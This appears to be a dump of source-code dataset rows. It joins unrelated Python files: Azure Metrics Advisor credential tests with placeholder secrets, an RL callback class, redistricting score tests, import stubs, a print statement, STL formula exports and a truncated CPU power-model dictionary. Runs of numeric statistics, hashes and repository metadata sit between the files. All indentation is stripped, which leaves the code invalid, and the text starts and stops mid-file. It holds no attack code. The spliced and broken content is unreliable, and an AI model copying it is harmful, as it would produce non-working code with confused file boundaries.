assert len(list(credentials)) > 0
finally:
self.clean_up(client.delete_datasource_credential, variables, key="credential_id")
return variables
@pytest.mark.parametrize("credential", CREDENTIALS, ids=ids)
@MetricsAdvisorPreparer()
@recorded_by_proxy
def test_update_datasource_sql_connection_string(self, client, variables):
credential_name = self.create_random_name("testsqlcredential")
if self.is_live:
variables["credential_name"] = credential_name
try:
credential = client.create_datasource_credential(
datasource_credential=DatasourceSqlConnectionString(
name=variables["credential_name"],
connection_string=self.sql_server_connection_string,
description="my credential",
)
)
if self.is_live:
variables["credential_id"] = credential.id
credential.connection_string = "update"
credential.description = "update"
credential_updated = client.update_datasource_credential(credential)
assert credential_updated.description == "update"
finally:
self.clean_up(client.delete_datasource_credential, variables, key="credential_id")
return variables
@pytest.mark.parametrize("credential", CREDENTIALS, ids=ids)
@MetricsAdvisorPreparer()
@recorded_by_proxy
def test_update_datasource_datalake_gen2_shared_key(self, client, variables):
credential_name = self.create_random_name("testdatalakecredential")
if self.is_live:
variables["credential_name"] = credential_name
try:
credential = client.create_datasource_credential(
datasource_credential=DatasourceDataLakeGen2SharedKey(
name=variables["credential_name"],
account_key="azure_datalake_account_key",
description="my credential",
)
)
if self.is_live:
variables["credential_id"] = credential.id
credential.account_key = "update"
credential.description = "update"
credential_updated = client.update_datasource_credential(credential)
assert credential_updated.description == "update"
finally:
self.clean_up(client.delete_datasource_credential, variables, key="credential_id")
return variables
@pytest.mark.parametrize("credential", CREDENTIALS, ids=ids)
@MetricsAdvisorPreparer()
@recorded_by_proxy
def test_update_datasource_service_principal(self, client, variables):
credential_name = self.create_random_name("testserviceprincipalcredential")
if self.is_live:
variables["credential_name"] = credential_name
try:
credential = client.create_datasource_credential(
datasource_credential=DatasourceServicePrincipal(
name=variables["credential_name"],
client_id="client_id",
client_secret="client_secret",
tenant_id="tenant_id",
description="my credential",
)
)
if self.is_live:
variables["credential_id"] = credential.id
credential.client_id = "update"
credential.client_secret = "update"
credential.tenant_id = "update"
credential.description = "update"
credential_updated = client.update_datasource_credential(credential)
assert credential_updated.description == "update"
finally:
self.clean_up(client.delete_datasource_credential, variables, key="credential_id")
return variables
@pytest.mark.parametrize("credential", CREDENTIALS, ids=ids)
@MetricsAdvisorPreparer()
@recorded_by_proxy
def test_update_datasource_service_principal_in_kv(self, client, variables):
credential_name = self.create_random_name("testserviceprincipalcredential")
if self.is_live:
variables["credential_name"] = credential_name
try:
credential = client.create_datasource_credential(
datasource_credential=DatasourceServicePrincipalInKeyVault(
name=variables["credential_name"],
key_vault_endpoint="key_vault_endpoint",
key_vault_client_id="key_vault_client_id",
key_vault_client_secret="key_vault_client_secret",
service_principal_id_name_in_kv="service_principal_id_name_in_kv",
service_principal_secret_name_in_kv="service_principal_secret_name_in_kv",
tenant_id="tenant_id",
description="my credential",
)
)
if self.is_live:
variables["credential_id"] = credential.id
credential.key_vault_endpoint = "update"
credential.key_vault_client_id = "update"
credential.key_vault_client_secret = "update"
credential.service_principal_id_name_in_kv = "update"
credential.service_principal_secret_name_in_kv = "update"
credential.tenant_id = "update"
credential.description = "update"
credential_updated = client.update_datasource_credential(credential)
assert credential_updated.description == "update"
finally:
self.clean_up(client.delete_datasource_credential, variables, key="credential_id")
return variables
| 46.698113 | 119 | 0.646465 | 1,103 | 12,375 | 6.921124 | 0.097915 | 0.080692 | 0.093398 | 0.028294 | 0.871889 | 0.861933 | 0.854598 | 0.854598 | 0.854598 | 0.854598 | 0 | 0.000885 | 0.269253 | 12,375 | 264 | 120 | 46.875 | 0.843304 | 0.025212 | 0 | 0.77459 | 0 | 0 | 0.129811 | 0.036413 | 0 | 0 | 0 | 0 | 0.069672 | 1 | 0.036885 | false | 0 | 0.02459 | 0 | 0.102459 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
d03002c59dbefc343d7e473c4cb65b7ca3725698 | 1,966 | py | Python | myelin/utils/callbacks.py | davidrobles/myelin | af76d4ec41f9b4f9be42fc12094aab6f879db770 | [
"MIT"
] | null | null | null | myelin/utils/callbacks.py | davidrobles/myelin | af76d4ec41f9b4f9be42fc12094aab6f879db770 | [
"MIT"
] | 9 | 2020-03-24T15:46:12.000Z | 2021-09-11T16:23:59.000Z | myelin/utils/callbacks.py | davidrobles/myelin | af76d4ec41f9b4f9be42fc12094aab6f879db770 | [
"MIT"
] | null | null | null | class CallbackList:
"""Container abstracting a list of callbacks (inspired by Keras)."""
def __init__(self, callbacks=None):
self.callbacks = callbacks or []
def on_episode_begin(self, episode):
"""Called at the beginning of every episode."""
for callback in self.callbacks:
callback.on_episode_begin(episode)
def on_episode_end(self, episode, step):
"""Called at the end of every episode."""
for callback in self.callbacks:
callback.on_episode_end(episode, step)
def on_interaction_begin(self):
"""Called at the beginning of the agent-environment interaction."""
for callback in self.callbacks:
callback.on_interaction_begin()
def on_interaction_end(self, episode):
"""Called at the end of the agent-environment interaction."""
for callback in self.callbacks:
callback.on_interaction_end(episode)
def on_step_begin(self, step):
"""Called at the beginning of every step."""
for callback in self.callbacks:
callback.on_step_begin(step)
def on_step_end(self, step):
"""Called at the end of every step."""
for callback in self.callbacks:
callback.on_step_end(step)
class Callback:
"""Abstract base class used to build new callbacks (inspired by Keras)."""
def on_episode_begin(self, episodes):
"""Called at the beginning of every episode."""
def on_episode_end(self, episode, step):
"""Called at the end of every episode."""
def on_interaction_begin(self):
"""Called at the beginning of the agent-environment interaction."""
def on_interaction_end(self, episode):
"""Called at the end of the agent-environment interaction."""
def on_step_begin(self, step):
"""Called at the beginning of every step."""
def on_step_end(self, step):
"""Called at the end of every step."""
| 33.896552 | 78 | 0.653103 | 257 | 1,966 | 4.840467 | 0.151751 | 0.048232 | 0.106109 | 0.096463 | 0.849678 | 0.769293 | 0.769293 | 0.731511 | 0.731511 | 0.731511 | 0 | 0 | 0.247202 | 1,966 | 57 | 79 | 34.491228 | 0.840541 | 0.339268 | 0 | 0.571429 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.464286 | false | 0 | 0 | 0 | 0.535714 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 8 |
d051c228a5ebe244edec76a94fb3ef48e60eef9b | 4,945 | py | Python | django/publicmapping/redistricting/tests/test_computed_scores.py | azavea/district-builder-dtl-pa | 2906bc9eba52e5d9d05e3ed964990bd2c53f5e24 | [
"Apache-2.0"
] | 5 | 2018-08-18T13:34:21.000Z | 2022-03-09T11:32:24.000Z | django/publicmapping/redistricting/tests/test_computed_scores.py | azavea/district-builder-dtl-pa | 2906bc9eba52e5d9d05e3ed964990bd2c53f5e24 | [
"Apache-2.0"
] | 66 | 2018-04-10T15:45:31.000Z | 2019-12-13T18:19:10.000Z | django/publicmapping/redistricting/tests/test_computed_scores.py | PublicMapping/districtbuilder-classic | 6e4b9d644043082eb0499f5aa77e777fff73a67c | [
"Apache-2.0"
] | 1 | 2021-09-23T00:06:08.000Z | 2021-09-23T00:06:08.000Z | from base import BaseTestCase
from redistricting.models import (Geolevel, Geounit, ScoreFunction,
ComputedDistrictScore, ComputedPlanScore)
class ComputedScoresTestCase(BaseTestCase):
def test_district1(self):
geolevel = Geolevel.objects.get(name='middle level')
geounits = list(
Geounit.objects.filter(geolevel=geolevel).order_by('id'))
dist1ids = geounits[0:3] + geounits[9:12]
dist2ids = geounits[6:9] + geounits[15:18]
dist1ids = map(lambda x: str(x.id), dist1ids)
dist2ids = map(lambda x: str(x.id), dist2ids)
self.plan.add_geounits(self.district1.district_id, dist1ids,
geolevel.id, self.plan.version)
self.plan.add_geounits(self.district2.district_id, dist2ids,
geolevel.id, self.plan.version)
function = ScoreFunction.objects.get(
calculator__endswith='SumValues', is_planscore=False)
numscores = ComputedDistrictScore.objects.all().count()
self.assertEqual(
0, numscores,
'The number of computed district scores is incorrect. (e:0, a:%d)'
% numscores)
district1 = self.plan.district_set.filter(
district_id=self.district1.district_id,
version=self.plan.version - 1)[0]
expected = function.score(district1)
score = ComputedDistrictScore.compute(function, district1)
self.assertEqual(
expected['value'], score['value'],
'The score computed is incorrect. (e:%0.1f, a:%0.1f)' % (
expected['value'],
score['value'],
))
numscores = ComputedDistrictScore.objects.all().count()
self.assertEqual(
1, numscores,
'The number of computed district scores is incorrect. (e:1, a:%d)'
% numscores)
dist1ids = geounits[3:6]
dist1ids = map(lambda x: str(x.id), dist1ids)
self.plan.add_geounits(self.district1.district_id, dist1ids,
geolevel.id, self.plan.version)
district1 = self.plan.district_set.filter(
district_id=self.district1.district_id,
version=self.plan.version)[0]
expected = function.score(district1)
score = ComputedDistrictScore.compute(function, district1)
self.assertEqual(
expected['value'], score['value'],
'The score computed is incorrect. (e:%0.1f, a:%0.1f)' % (
expected['value'],
score['value'],
))
numscores = ComputedDistrictScore.objects.all().count()
self.assertEqual(
2, numscores,
'The number of computed district scores is incorrect. (e:2, a:%d)'
% numscores)
def test_plan1(self):
geolevel = Geolevel.objects.get(name='middle level')
geounits = list(
Geounit.objects.filter(geolevel=geolevel).order_by('id'))
dist1ids = geounits[0:3] + geounits[9:12]
dist2ids = geounits[6:9] + geounits[15:18]
dist1ids = map(lambda x: str(x.id), dist1ids)
dist2ids = map(lambda x: str(x.id), dist2ids)
self.plan.add_geounits(self.district1.district_id, dist1ids,
geolevel.id, self.plan.version)
self.plan.add_geounits(self.district2.district_id, dist2ids,
geolevel.id, self.plan.version)
function = ScoreFunction.objects.get(
calculator__endswith='SumValues', is_planscore=True)
numscores = ComputedPlanScore.objects.all().count()
self.assertEqual(
0, numscores,
'The number of computed plan scores is incorrect. (e:0, a:%d)' %
numscores)
score = ComputedPlanScore.compute(function, self.plan)
self.assertEqual(9, score['value'],
'The score computed is incorrect. (e:9.0, a:%0.1f)' %
score['value'])
numscores = ComputedPlanScore.objects.all().count()
self.assertEqual(
1, numscores,
'The number of computed plan scores is incorrect. (e:1, a:%d)' %
numscores)
dist1ids = geounits[3:6]
dist1ids = map(lambda x: str(x.id), dist1ids)
self.plan.add_geounits(self.district1.district_id, dist1ids,
geolevel.id, self.plan.version)
score = ComputedPlanScore.compute(function, self.plan)
self.assertEqual(9, score['value'],
'The score computed is incorrect. (e:9.0, a:%0.1f)' %
score['value'])
numscores = ComputedPlanScore.objects.all().count()
self.assertEqual(
2, numscores,
'The number of computed plan scores is incorrect. (e:2, a:%d)' %
numscores)
| 36.62963 | 78 | 0.579171 | 521 | 4,945 | 5.443378 | 0.145873 | 0.050776 | 0.042313 | 0.027504 | 0.930183 | 0.930183 | 0.930183 | 0.910437 | 0.893512 | 0.893512 | 0 | 0.028888 | 0.306977 | 4,945 | 134 | 79 | 36.902985 | 0.798658 | 0 | 0 | 0.84 | 0 | 0 | 0.137108 | 0 | 0 | 0 | 0 | 0 | 0.1 | 1 | 0.02 | false | 0 | 0.02 | 0 | 0.05 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
d054d660a61f6dcfe875001d38cb291457e67985 | 109 | py | Python | hopex/constant/__init__.py | hopex-hk/hopex_Python | c97133535e014d4b8ee8c35b163fb96b03af9647 | [
"Apache-2.0"
] | null | null | null | hopex/constant/__init__.py | hopex-hk/hopex_Python | c97133535e014d4b8ee8c35b163fb96b03af9647 | [
"Apache-2.0"
] | null | null | null | hopex/constant/__init__.py | hopex-hk/hopex_Python | c97133535e014d4b8ee8c35b163fb96b03af9647 | [
"Apache-2.0"
] | null | null | null | from hopex.constant.definition import *
from hopex.constant.system import *
from hopex.constant.test import * | 36.333333 | 39 | 0.816514 | 15 | 109 | 5.933333 | 0.466667 | 0.303371 | 0.573034 | 0.516854 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.100917 | 109 | 3 | 40 | 36.333333 | 0.908163 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | null | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 8 |
d056655bc425e6af3d73cd5247d4b6348e32d20f | 242 | py | Python | practice/1. Twinkle twinkle.py | thekaranjit/pythonpractice | c87f535f694ee259a4d9de317f5b2eacd0e3748f | [
"Unlicense"
] | 1 | 2018-06-21T23:15:18.000Z | 2018-06-21T23:15:18.000Z | practice/1. Twinkle twinkle.py | thekaranjit/pythonpractice | c87f535f694ee259a4d9de317f5b2eacd0e3748f | [
"Unlicense"
] | null | null | null | practice/1. Twinkle twinkle.py | thekaranjit/pythonpractice | c87f535f694ee259a4d9de317f5b2eacd0e3748f | [
"Unlicense"
] | null | null | null | print('Twinkle, twinkle, little star, \n How I wonder what you are! \n Up above the world so high,\n Like a diamond in the sky. \nTwinkle, twinkle, little star, \n How I wonder what you are')
| 48.4 | 238 | 0.57438 | 37 | 242 | 3.756757 | 0.621622 | 0.18705 | 0.244604 | 0.258993 | 0.546763 | 0.546763 | 0.546763 | 0.546763 | 0.546763 | 0.546763 | 0 | 0 | 0.35124 | 242 | 4 | 239 | 60.5 | 0.88535 | 0 | 0 | 0 | 0 | 1 | 0.958159 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 | 0 | 7 |
d088e7ef82e108336ddc34b66946b99c2c35bbff | 95 | py | Python | net/__init__.py | aiainui/crnn-audio-classification | 1e00177c692867bb8bed8bf5ae6196c612081c57 | [
"MIT"
] | 307 | 2019-03-17T04:43:13.000Z | 2022-03-26T15:28:15.000Z | net/__init__.py | aiainui/crnn-audio-classification | 1e00177c692867bb8bed8bf5ae6196c612081c57 | [
"MIT"
] | 20 | 2019-05-16T00:38:35.000Z | 2022-03-18T03:22:45.000Z | net/__init__.py | aiainui/crnn-audio-classification | 1e00177c692867bb8bed8bf5ae6196c612081c57 | [
"MIT"
] | 76 | 2019-05-15T18:07:09.000Z | 2022-03-26T15:28:14.000Z | from net.model import *
from net.loss import *
from net.metric import *
from net.audio import * | 23.75 | 24 | 0.757895 | 16 | 95 | 4.5 | 0.4375 | 0.388889 | 0.541667 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.157895 | 95 | 4 | 25 | 23.75 | 0.9 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | null | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 7 |
d089d516e7c07e9763cce33369bd1b9b6899d765 | 508 | py | Python | architect/components/specifications/stl/__init__.py | MIT-REALM/architect | 1b5bbf6ddf08146cd3b8ad5c058539ac140e9ebb | [
"BSD-2-Clause"
] | 2 | 2022-03-30T03:07:26.000Z | 2022-03-30T17:35:21.000Z | architect/components/specifications/stl/__init__.py | MIT-REALM/architect | 1b5bbf6ddf08146cd3b8ad5c058539ac140e9ebb | [
"BSD-2-Clause"
] | null | null | null | architect/components/specifications/stl/__init__.py | MIT-REALM/architect | 1b5bbf6ddf08146cd3b8ad5c058539ac140e9ebb | [
"BSD-2-Clause"
] | null | null | null | from .formula import (
STLFormula,
STLPredicate,
STLNegation,
STLAnd,
STLOr,
STLImplies,
STLUntimedEventually,
STLTimedEventually,
STLUntimedUntil,
STLTimedUntil,
STLUntimedAlways,
STLTimedAlways,
)
__all__ = [
"STLFormula",
"STLPredicate",
"STLNegation",
"STLAnd",
"STLOr",
"STLImplies",
"STLUntimedEventually",
"STLTimedEventually",
"STLUntimedUntil",
"STLTimedUntil",
"STLUntimedAlways",
"STLTimedAlways",
]
| 16.933333 | 27 | 0.637795 | 28 | 508 | 11.428571 | 0.571429 | 0.1375 | 0.20625 | 0.24375 | 0.9375 | 0.9375 | 0.9375 | 0.9375 | 0.9375 | 0.9375 | 0 | 0 | 0.255906 | 508 | 29 | 28 | 17.517241 | 0.846561 | 0 | 0 | 0 | 0 | 0 | 0.295276 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.035714 | 0 | 0.035714 | 0 | 1 | 0 | 1 | null | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 10 |
d09d63f4cb236988ced5c55c4396420d9db5f5c9 | 68,622 | py | Python | benchmarks/SimResults/combinations_spec_rr/oldstuff/cmp_bwavesgcccactusADMgromacs/power.py | TugberkArkose/MLScheduler | e493b6cbf7b9d29a2c9300d7dd6f0c2f102e4061 | [
"Unlicense"
] | null | null | null | benchmarks/SimResults/combinations_spec_rr/oldstuff/cmp_bwavesgcccactusADMgromacs/power.py | TugberkArkose/MLScheduler | e493b6cbf7b9d29a2c9300d7dd6f0c2f102e4061 | [
"Unlicense"
] | null | null | null | benchmarks/SimResults/combinations_spec_rr/oldstuff/cmp_bwavesgcccactusADMgromacs/power.py | TugberkArkose/MLScheduler | e493b6cbf7b9d29a2c9300d7dd6f0c2f102e4061 | [
"Unlicense"
] | null | null | null | power = {'BUSES': {'Area': 1.33155,
'Bus/Area': 1.33155,
'Bus/Gate Leakage': 0.00662954,
'Bus/Peak Dynamic': 0.0,
'Bus/Runtime Dynamic': 0.0,
'Bus/Subthreshold Leakage': 0.0691322,
'Bus/Subthreshold Leakage with power gating': 0.0259246,
'Gate Leakage': 0.00662954,
'Peak Dynamic': 0.0,
'Runtime Dynamic': 0.0,
'Subthreshold Leakage': 0.0691322,
'Subthreshold Leakage with power gating': 0.0259246},
'Core': [{'Area': 32.6082,
'Execution Unit/Area': 8.2042,
'Execution Unit/Complex ALUs/Area': 0.235435,
'Execution Unit/Complex ALUs/Gate Leakage': 0.0132646,
'Execution Unit/Complex ALUs/Peak Dynamic': 5.66814e-06,
'Execution Unit/Complex ALUs/Runtime Dynamic': 0.202693,
'Execution Unit/Complex ALUs/Subthreshold Leakage': 0.20111,
'Execution Unit/Complex ALUs/Subthreshold Leakage with power gating': 0.0754163,
'Execution Unit/Floating Point Units/Area': 4.6585,
'Execution Unit/Floating Point Units/Gate Leakage': 0.0656156,
'Execution Unit/Floating Point Units/Peak Dynamic': 2.02403e-05,
'Execution Unit/Floating Point Units/Runtime Dynamic': 0.304033,
'Execution Unit/Floating Point Units/Subthreshold Leakage': 0.994829,
'Execution Unit/Floating Point Units/Subthreshold Leakage with power gating': 0.373061,
'Execution Unit/Gate Leakage': 0.122718,
'Execution Unit/Instruction Scheduler/Area': 2.17927,
'Execution Unit/Instruction Scheduler/FP Instruction Window/Area': 0.328073,
'Execution Unit/Instruction Scheduler/FP Instruction Window/Gate Leakage': 0.00115349,
'Execution Unit/Instruction Scheduler/FP Instruction Window/Peak Dynamic': 1.20978,
'Execution Unit/Instruction Scheduler/FP Instruction Window/Runtime Dynamic': 0.369741,
'Execution Unit/Instruction Scheduler/FP Instruction Window/Subthreshold Leakage': 0.017004,
'Execution Unit/Instruction Scheduler/FP Instruction Window/Subthreshold Leakage with power gating': 0.00962066,
'Execution Unit/Instruction Scheduler/Gate Leakage': 0.00730101,
'Execution Unit/Instruction Scheduler/Instruction Window/Area': 1.00996,
'Execution Unit/Instruction Scheduler/Instruction Window/Gate Leakage': 0.00529112,
'Execution Unit/Instruction Scheduler/Instruction Window/Peak Dynamic': 2.07911,
'Execution Unit/Instruction Scheduler/Instruction Window/Runtime Dynamic': 0.640258,
'Execution Unit/Instruction Scheduler/Instruction Window/Subthreshold Leakage': 0.0800117,
'Execution Unit/Instruction Scheduler/Instruction Window/Subthreshold Leakage with power gating': 0.0455351,
'Execution Unit/Instruction Scheduler/Peak Dynamic': 4.84781,
'Execution Unit/Instruction Scheduler/ROB/Area': 0.841232,
'Execution Unit/Instruction Scheduler/ROB/Gate Leakage': 0.000856399,
'Execution Unit/Instruction Scheduler/ROB/Peak Dynamic': 1.55892,
'Execution Unit/Instruction Scheduler/ROB/Runtime Dynamic': 0.367206,
'Execution Unit/Instruction Scheduler/ROB/Subthreshold Leakage': 0.0178624,
'Execution Unit/Instruction Scheduler/ROB/Subthreshold Leakage with power gating': 0.00897339,
'Execution Unit/Instruction Scheduler/Runtime Dynamic': 1.37721,
'Execution Unit/Instruction Scheduler/Subthreshold Leakage': 0.114878,
'Execution Unit/Instruction Scheduler/Subthreshold Leakage with power gating': 0.0641291,
'Execution Unit/Integer ALUs/Area': 0.47087,
'Execution Unit/Integer ALUs/Gate Leakage': 0.0265291,
'Execution Unit/Integer ALUs/Peak Dynamic': 0.36547,
'Execution Unit/Integer ALUs/Runtime Dynamic': 0.101344,
'Execution Unit/Integer ALUs/Subthreshold Leakage': 0.40222,
'Execution Unit/Integer ALUs/Subthreshold Leakage with power gating': 0.150833,
'Execution Unit/Peak Dynamic': 5.59423,
'Execution Unit/Register Files/Area': 0.570804,
'Execution Unit/Register Files/Floating Point RF/Area': 0.208131,
'Execution Unit/Register Files/Floating Point RF/Gate Leakage': 0.000232788,
'Execution Unit/Register Files/Floating Point RF/Peak Dynamic': 3.82383e-06,
'Execution Unit/Register Files/Floating Point RF/Runtime Dynamic': 0.0134034,
'Execution Unit/Register Files/Floating Point RF/Subthreshold Leakage': 0.00399698,
'Execution Unit/Register Files/Floating Point RF/Subthreshold Leakage with power gating': 0.00176968,
'Execution Unit/Register Files/Gate Leakage': 0.000622708,
'Execution Unit/Register Files/Integer RF/Area': 0.362673,
'Execution Unit/Register Files/Integer RF/Gate Leakage': 0.00038992,
'Execution Unit/Register Files/Integer RF/Peak Dynamic': 0.096926,
'Execution Unit/Register Files/Integer RF/Runtime Dynamic': 0.0991264,
'Execution Unit/Register Files/Integer RF/Subthreshold Leakage': 0.00614175,
'Execution Unit/Register Files/Integer RF/Subthreshold Leakage with power gating': 0.00246675,
'Execution Unit/Register Files/Peak Dynamic': 0.0969298,
'Execution Unit/Register Files/Runtime Dynamic': 0.11253,
'Execution Unit/Register Files/Subthreshold Leakage': 0.0101387,
'Execution Unit/Register Files/Subthreshold Leakage with power gating': 0.00423643,
'Execution Unit/Results Broadcast Bus/Area Overhead': 0.0442632,
'Execution Unit/Results Broadcast Bus/Gate Leakage': 0.00607074,
'Execution Unit/Results Broadcast Bus/Peak Dynamic': 0.234215,
'Execution Unit/Results Broadcast Bus/Runtime Dynamic': 0.601679,
'Execution Unit/Results Broadcast Bus/Subthreshold Leakage': 0.0920413,
'Execution Unit/Results Broadcast Bus/Subthreshold Leakage with power gating': 0.0345155,
'Execution Unit/Runtime Dynamic': 2.69948,
'Execution Unit/Subthreshold Leakage': 1.83518,
'Execution Unit/Subthreshold Leakage with power gating': 0.709678,
'Gate Leakage': 0.372997,
'Instruction Fetch Unit/Area': 5.86007,
'Instruction Fetch Unit/Branch Predictor/Area': 0.138516,
'Instruction Fetch Unit/Branch Predictor/Chooser/Area': 0.0435221,
'Instruction Fetch Unit/Branch Predictor/Chooser/Gate Leakage': 0.000278362,
'Instruction Fetch Unit/Branch Predictor/Chooser/Peak Dynamic': 0.0168831,
'Instruction Fetch Unit/Branch Predictor/Chooser/Runtime Dynamic': 0.0041803,
'Instruction Fetch Unit/Branch Predictor/Chooser/Subthreshold Leakage': 0.00759719,
'Instruction Fetch Unit/Branch Predictor/Chooser/Subthreshold Leakage with power gating': 0.0039236,
'Instruction Fetch Unit/Branch Predictor/Gate Leakage': 0.000757657,
'Instruction Fetch Unit/Branch Predictor/Global Predictor/Area': 0.0435221,
'Instruction Fetch Unit/Branch Predictor/Global Predictor/Gate Leakage': 0.000278362,
'Instruction Fetch Unit/Branch Predictor/Global Predictor/Peak Dynamic': 0.0168831,
'Instruction Fetch Unit/Branch Predictor/Global Predictor/Runtime Dynamic': 0.0041803,
'Instruction Fetch Unit/Branch Predictor/Global Predictor/Subthreshold Leakage': 0.00759719,
'Instruction Fetch Unit/Branch Predictor/Global Predictor/Subthreshold Leakage with power gating': 0.0039236,
'Instruction Fetch Unit/Branch Predictor/L1_Local Predictor/Area': 0.0257064,
'Instruction Fetch Unit/Branch Predictor/L1_Local Predictor/Gate Leakage': 0.000154548,
'Instruction Fetch Unit/Branch Predictor/L1_Local Predictor/Peak Dynamic': 0.0142575,
'Instruction Fetch Unit/Branch Predictor/L1_Local Predictor/Runtime Dynamic': 0.0036605,
'Instruction Fetch Unit/Branch Predictor/L1_Local Predictor/Subthreshold Leakage': 0.00384344,
'Instruction Fetch Unit/Branch Predictor/L1_Local Predictor/Subthreshold Leakage with power gating': 0.00198631,
'Instruction Fetch Unit/Branch Predictor/L2_Local Predictor/Area': 0.0151917,
'Instruction Fetch Unit/Branch Predictor/L2_Local Predictor/Gate Leakage': 8.00196e-05,
'Instruction Fetch Unit/Branch Predictor/L2_Local Predictor/Peak Dynamic': 0.00527447,
'Instruction Fetch Unit/Branch Predictor/L2_Local Predictor/Runtime Dynamic': 0.00142769,
'Instruction Fetch Unit/Branch Predictor/L2_Local Predictor/Subthreshold Leakage': 0.00181347,
'Instruction Fetch Unit/Branch Predictor/L2_Local Predictor/Subthreshold Leakage with power gating': 0.000957045,
'Instruction Fetch Unit/Branch Predictor/Peak Dynamic': 0.0597838,
'Instruction Fetch Unit/Branch Predictor/RAS/Area': 0.0105732,
'Instruction Fetch Unit/Branch Predictor/RAS/Gate Leakage': 4.63858e-05,
'Instruction Fetch Unit/Branch Predictor/RAS/Peak Dynamic': 0.0117602,
'Instruction Fetch Unit/Branch Predictor/RAS/Runtime Dynamic': 0.00142396,
'Instruction Fetch Unit/Branch Predictor/RAS/Subthreshold Leakage': 0.000932505,
'Instruction Fetch Unit/Branch Predictor/RAS/Subthreshold Leakage with power gating': 0.000494733,
'Instruction Fetch Unit/Branch Predictor/Runtime Dynamic': 0.013445,
'Instruction Fetch Unit/Branch Predictor/Subthreshold Leakage': 0.0199703,
'Instruction Fetch Unit/Branch Predictor/Subthreshold Leakage with power gating': 0.0103282,
'Instruction Fetch Unit/Branch Target Buffer/Area': 0.64954,
'Instruction Fetch Unit/Branch Target Buffer/Gate Leakage': 0.00272758,
'Instruction Fetch Unit/Branch Target Buffer/Peak Dynamic': 0.177867,
'Instruction Fetch Unit/Branch Target Buffer/Runtime Dynamic': 0.0393847,
'Instruction Fetch Unit/Branch Target Buffer/Subthreshold Leakage': 0.0811682,
'Instruction Fetch Unit/Branch Target Buffer/Subthreshold Leakage with power gating': 0.0435357,
'Instruction Fetch Unit/Gate Leakage': 0.0590479,
'Instruction Fetch Unit/Instruction Buffer/Area': 0.0226323,
'Instruction Fetch Unit/Instruction Buffer/Gate Leakage': 6.83558e-05,
'Instruction Fetch Unit/Instruction Buffer/Peak Dynamic': 0.606827,
'Instruction Fetch Unit/Instruction Buffer/Runtime Dynamic': 0.0952928,
'Instruction Fetch Unit/Instruction Buffer/Subthreshold Leakage': 0.00151885,
'Instruction Fetch Unit/Instruction Buffer/Subthreshold Leakage with power gating': 0.000701682,
'Instruction Fetch Unit/Instruction Cache/Area': 3.14635,
'Instruction Fetch Unit/Instruction Cache/Gate Leakage': 0.029931,
'Instruction Fetch Unit/Instruction Cache/Peak Dynamic': 6.06144,
'Instruction Fetch Unit/Instruction Cache/Runtime Dynamic': 0.360414,
'Instruction Fetch Unit/Instruction Cache/Subthreshold Leakage': 0.367022,
'Instruction Fetch Unit/Instruction Cache/Subthreshold Leakage with power gating': 0.180386,
'Instruction Fetch Unit/Instruction Decoder/Area': 1.85799,
'Instruction Fetch Unit/Instruction Decoder/Gate Leakage': 0.0222493,
'Instruction Fetch Unit/Instruction Decoder/Peak Dynamic': 1.37404,
'Instruction Fetch Unit/Instruction Decoder/Runtime Dynamic': 0.323657,
'Instruction Fetch Unit/Instruction Decoder/Subthreshold Leakage': 0.442943,
'Instruction Fetch Unit/Instruction Decoder/Subthreshold Leakage with power gating': 0.166104,
'Instruction Fetch Unit/Peak Dynamic': 8.57863,
'Instruction Fetch Unit/Runtime Dynamic': 0.832194,
'Instruction Fetch Unit/Subthreshold Leakage': 0.932587,
'Instruction Fetch Unit/Subthreshold Leakage with power gating': 0.408542,
'L2/Area': 4.53318,
'L2/Gate Leakage': 0.015464,
